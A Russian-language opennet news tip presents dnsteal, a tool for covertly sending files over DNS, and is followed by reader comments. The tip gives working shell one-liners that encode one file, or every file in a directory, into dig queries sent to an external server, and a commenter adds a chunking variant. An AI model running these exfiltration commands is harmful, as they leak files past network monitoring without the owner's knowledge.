В рамках проекта https://github.com/m57/dnsteal развивается фиктивный DNS-сервер, позволяющий организовать скрытую отправку файлов по протоколу DNS, используя штатные системные утилиты резолвинга. Для уменьшения трафика поддерживается сжатие передаваемого содержимого.
Запускаем сервер ("-z" - включает сжатие):python dnsteal.py 192.168.1.1 -z
Для отправки файла send.txt на внешний хост 192.168.1.1, на котором запущен dnsteal, достаточно выполнить:for b in $(gzip -c send.txt | xxd -p); do dig @192.168.1.1 $b.filename.com; done
Для отправки всех файлов из текущей директории
for filename in $(ls); do for b in $(gzip -c $filename | xxd -p); do dig +short @192.168.1.1 %b.$filename.com; done; done
URL:
Обсуждается: http://www.opennet.me/tips/info/2922.shtml
текущая версия на гитхабе не заработала) заработал форк там же на гитхабе, файл 1 мб отправлялся больше 6 часов, так и не отправился) надо было идти домой
идея не нова, но интересно и доступно!)
в смысле отправить файл, замаскировав его под обычный dns запрос?
Но есть же iodine для более коварных вещей.
Тестил - работает. Эта штука позволяет заворачивать весь ipv4-трафиик через DNS.
> Но есть же iodine для более коварных вещей.Вся прелесть предложенного решения в том, что на клиенте достаточно обычного shell и любой штатной утилиты типа dig для резолвинга. В iodine нужно ставить специального клиента, что сводит на нет всю "скрытность" действий на клиентской системе.
администраторам localnet чтоли?вся прелесть iodine в том, что он работает и за firewall (и wifi, не авторизовавшись, но те которые резолвят внешние имена), кто же вас пустит на внешний сервер напрямую (dig @server) из сети, которая за firewall ?
вот именно, что вся эта бредовая идея идет в опу, если админ держить днс на шлюзе и фильтрует внешние, а он скорей всего так и делает.
Наводящий вопрос: откуда "днс на шлюзе местного админа" берет информацию о неизвестных доменных адресах ?
Добавили бы fold чтобы не по одному байту посылать, а по 10, например:for b in $(gzip -c send.txt | xxd -p |fold -b10); do dig @192.168.1.1 $b.filename.com; done
Это у вас такой странных xxd. Опция -p как раз и нужна для того, чтобы не разделять байты. Разделение происходит на длинные строки.
dig @192.168.1.1
так если у вас открыт порт на удаленном сервере - можно все что угодно. вот если бы dig @днспровайдера\конторы\которая не выпускает ничего больше как через Собственных днс сервре ....
в общем костыль к квадратному колесу
Элементарно, ватсон. Чуть переписываете шеловую команду (префиксуете байты, чтобы от кеширования уйти), и она с удовольствием шлёт резолвы через любую цепочку резолверов к вашему домену.
Без примера -это просто трепология.
А зачем писать отдельный демон, когда можно просто прогрепать логи бинда (или кто там крутится) и вытащить фрагменты из сообщений об ошибках? А ещё вопрос - если у провайдера несколько роутов к целевому хосту и запросы прибудут не в том порядке, в каком они были отправлены - с этим что делать?
Подумал халявный интернет изобрели, оказалось нет - 6 часов, пусть даже на файл 1 мб, это слишком долго.
У нормального провайдера, с неоплаченным инетом, запросы дальше фаервола не ходят.
Так и есть. Даже днс-запросы режут, не говоря о пингах. Причем ВСЕ провайдеры, с которыми сталкивался. Исключение - пиринговые ресурсы. Они работают свободно. А т.к. в городском пиринге почти все провайдеры, просто поднимается прокся у другого прова, и через неё работаете, если лень платить идти. Ещё можно так с работы сидеть в необрезанном инете, если вы - кодер, а злой админ закрыл вконтактик.
Если вы кодер, а злой админ закрыл вконтактик, то что вам мешает пробросить ssh-tunnel?
У моего провайдера с неоплаченным интернетом работал сайт провайдера. А на сайте провайдера была бесплатная почта, ящик 10 МБ. И через POP3/IMAP/SMTP она тоже была доступна. Запустил на работе демона, который по почте получал URL, скачивал его, разбивал на куски размером 10 МБ и отсылал на тот бесплатный ящик. А дома другой демон доставал куски из ящика и собирал воедино. Недели три так сидел, из спортивного интереса.
А можно поподробней про реализацию?
> А можно поподробней про реализацию?До макдональца быстрее добежать.
> А можно поподробней про реализацию?таких примеров жопой жуй
http://habrahabr.ru/post/65322/
прям как Столман
лучше бы придумали как DNS пакеты нельзя было ни подменить, ни посмотреть что там внутри ходит...
dnscrypt от djb сто лет как
Имхо легче туннель через 443й порт повесить, используя, скажем, sslh. 443й обычно открыт, а что ты там внутри туннеля шлёшь никто всё равно не прочитает. А 53й с весьма большой вероятностью может быть и закрыт.